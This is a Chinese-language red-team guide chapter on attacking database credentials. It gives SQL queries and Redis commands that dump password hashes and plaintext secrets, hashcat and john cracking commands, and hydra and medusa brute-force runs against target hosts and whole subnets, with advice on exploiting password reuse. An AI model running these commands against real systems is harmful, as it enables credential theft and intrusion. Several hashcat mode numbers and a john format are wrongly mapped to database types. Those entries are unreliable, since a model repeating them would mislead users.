08-口令破解与哈希提取
汇总各数据库的哈希格式、提取方法与破解命令。哈希提取是 02章 至 07章 各利用路径的收尾动作,也是横向移动的凭据来源。
目录
一、各数据库哈希格式大表
| 数据库 | 版本 | 哈希算法 | 格式示例/特征 |
|---|---|---|---|
| MySQL | 4.0 及以下 | MYSQL323 | 16 位十六进制 |
| MySQL | 4.1+ | SHA1(SHA1(pass)) 双段 | *A8F5D2C6...(41 位,星号前缀) |
| MSSQL | 2000 | SHA1 + 补齐大写 | 0x0100 开头 40 字节 |
| MSSQL | 2005 | SHA1(UTF-16LE) | 0x0100 开头 20 字节哈希段 |
| MSSQL | 2008+ | SHA1 + 盐 | 0x0100<盐><哈希> |
| Oracle | 10g 及以下 | DES 密钥法 | USER:HASH(16 位) |
| Oracle | 11g | DES(旧) + SHA1(盐) 双段 | S:xxxx;H:xxxx 或 hash:spare4 中 S: 段 |
| Oracle | 12c+ | PBKDF2-SHA512 | S:<PBKDF2段>;T:<类型> |
| PostgreSQL | 全系(md5 认证) | md5(password + username) | md5 前缀 + 32 位 hex |
| PostgreSQL | 10+(SCRAM) | SCRAM-SHA-256 | SCRAM-SHA-256$4096:salt$... |
| MongoDB | 全系 | SCRAM-SHA-1 / SCRAM-SHA-256 | 存 salt/storedKey/serverKey 三元组 |
具体模式号以本机
hashcat --example-hashes | grep -i mysql输出为准,不同 hashcat 版本编号有增补。
二、哈希提取方法
2.1 各库查询语句
-- MySQL(需 mysql.user 读权限)
SELECT user, host, authentication_string FROM mysql.user;
-- MySQL 5.6 及以下字段名为 password
SELECT user, host, password FROM mysql.user;
-- MSSQL
SELECT name, password_hash FROM sys.sql_logins;
-- PostgreSQL(pg_shadow 需超管)
SELECT usename, passwd FROM pg_shadow;2.2 MongoDB 与 Redis
// MongoDB:SCRAM 凭据在 admin 库
use admin;
db.system.users.find({}, {user:1, credentials:1});
// 输出中 salt/storedKey/serverKey 即可离线构造破解输入Redis 无用户表,口令即配置文件中的明文 requirepass:
redis-cli -h <target> CONFIG GET requirepass # 未授权时直接读出
grep -E '^(requirepass|masterauth)' /etc/redis/redis.conf # 拿到主机后Oracle 提取需 DBA:
SELECT name, spare4 FROM sys.user$; -- spare4 含 S: 段(11g SHA1)三、hashcat mode对照表
常用模式速查(以 hashcat --example-hashes 实际输出为准):
| -m 模式 | 算法 | 示例命令 |
|---|---|---|
-m 300 | MySQL 4.1+(SHA1 双段) | hashcat -m 300 hash.txt rockyou.txt |
-m 200 | MySQL 323(老版本) | 同上换模式 |
-m 131 | MSSQL 2000 | hashcat -m 131 hash.txt rockyou.txt |
-m 132 | MSSQL 2005 | 同上 |
-m 1730 | MSSQL 2012/2014(SHA512) | 大写 hex 输入 |
-m 1711 | MSSQL 2012 + salt(带盐变体) | hash:salt 格式 |
-m 112 | Oracle 11g(S: 段 SHA1) | user:hash 格式 |
-m 12300 | Oracle 12c(PBKDF2/HMAC-SHA256) | 性能极慢,字典要小 |
-m 18000 | PostgreSQL SCRAM-SHA-256 | hashcat -m 18000 scram.txt rockyou.txt |
-m 12 | PostgreSQL md5(pass+user) | hash:user 格式 |
-m 1411 | MongoDB SCRAM-SHA-1 | user:hash:salt 组合格式 |
通用参数:
# 规则变形提升命中率
hashcat -m 300 -a 0 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# 掩码攻击(已知前缀场景)
hashcat -m 300 -a 3 hash.txt 'root?a?a?a?a'四、john用法
# 自动识别格式
john hash.txt --wordlist=rockyou.txt
# 显式指定各库格式
john --format=mysql-sha1 hash.txt
john --format=mscash2 hash.txt # MSSQL 相关族
john --list=formats | grep -iE 'mysql|mssql|ora|postgres'
# 显示已破解结果
john --show hash.txt五、hydra在线爆破各库命令集
在线爆破适用于未拿到哈希的场景(外网打点主流手法):
# MySQL
hydra -l root -P pass.txt <target> mysql
hydra -L users.txt -P pass.txt -s 3306 <target> mysql -t 8
# MSSQL
hydra -l sa -P pass.txt -s 1433 <target> mssql -t 8
# PostgreSQL
hydra -l postgres -P pass.txt -s 5432 <target> postgres
# MongoDB
hydra -l admin -P pass.txt -s 27017 <target> mongodb
# Redis(模块 redis,验证 requirepass)
hydra -P pass.txt redis://<target>:6379
# Oracle(listener 层面)
hydra -L users.txt -P pass.txt <target> oracle-listener实用参数:-t 并发线程(数据库服务对连接风暴敏感,建议 ≤10)、-f 找到一个即停、-V 显示尝试过程。
六、medusa
# 语法统一:-h 主机 -u 用户 -P 口令字典 -M 模块
medusa -h <target> -u root -P pass.txt -M mysql
medusa -h <target> -u sa -P pass.txt -M mssql
medusa -h <target> -u postgres -P pass.txt -M postgres
medusa -h <target> -U users.txt -P pass.txt -M mongodb -t 5
# 批量网段扫描(配合 -H 主机列表)
medusa -H hosts.txt -u root -P pass.txt -M mysql -t 16medusa 与 hydra 模块覆盖互补;MongoDB/Oracle 场景 medusa 失败时优先改用原生客户端脚本或 odat(见 04章)。
七、口令策略弱点分析
红队生成字典前先评估目标的口令习惯,命中效率远高于盲跑 rockyou:
| 弱点 | 表现 | 字典构造建议 |
|---|---|---|
| 账户名即口令 | root/root、sa/sa、postgres/postgres | 第一轮:用户名自复制 |
| 数字序列 | 123456、1234567890 | top1000 通用表 |
| 服务名变体 | mysql123、redis@123、oracle2023 | 用户名+年份/符号组合规则 |
| 公司名相关 | 域名缩写+123 | 从信息收集阶段抓公司名做规则变换 |
| 多服务复用 | Web 后台口令 = 数据库口令 | 已破出的任何口令全量复测其他端口 |
流程建议:第一轮弱口令表(<100 条)快速过 → 第二轮规则化字典 → 第三轮才上大字典。命中后立即记录并测试所有已发现服务的口令复用。
7.1 哈希格式识别与预处理
拿到一串哈希先判断格式再选模式:
| 特征 | 判断 |
|---|---|
* 开头 + 40 位 hex | MySQL 4.1+,hashcat -m 300 |
| 16 位 hex 无前缀 | MySQL323 或 Oracle 10g(结合来源判断) |
0x0100 开头 | MSSQL 家族,按长度分版本 |
md5 前缀 + 32 hex | PostgreSQL md5 认证 |
S: 开头分号分隔 | Oracle 11g spare4 |
SCRAM-SHA-256$ | PG/Mongo SCRAM |
# hashcat 自带示例库辅助确认模式号
hashcat --example-hashes -m 300
hashcat --example-hashes | grep -iE 'postgres|mssql|oracle'7.2 注意事项
- MSSQL 哈希需转大写 hex 输入;带盐格式写成
hash:salt。 - Oracle 12c 的 PBKDF2 模式速度极慢,优先破 11g 遗留的 S: 段。
- MongoDB SCRAM 不能直接还原明文,需构造客户端挑战离线验证字典(工具支持有限,实战更常用在线爆破)。
返回 数据库安全 总目录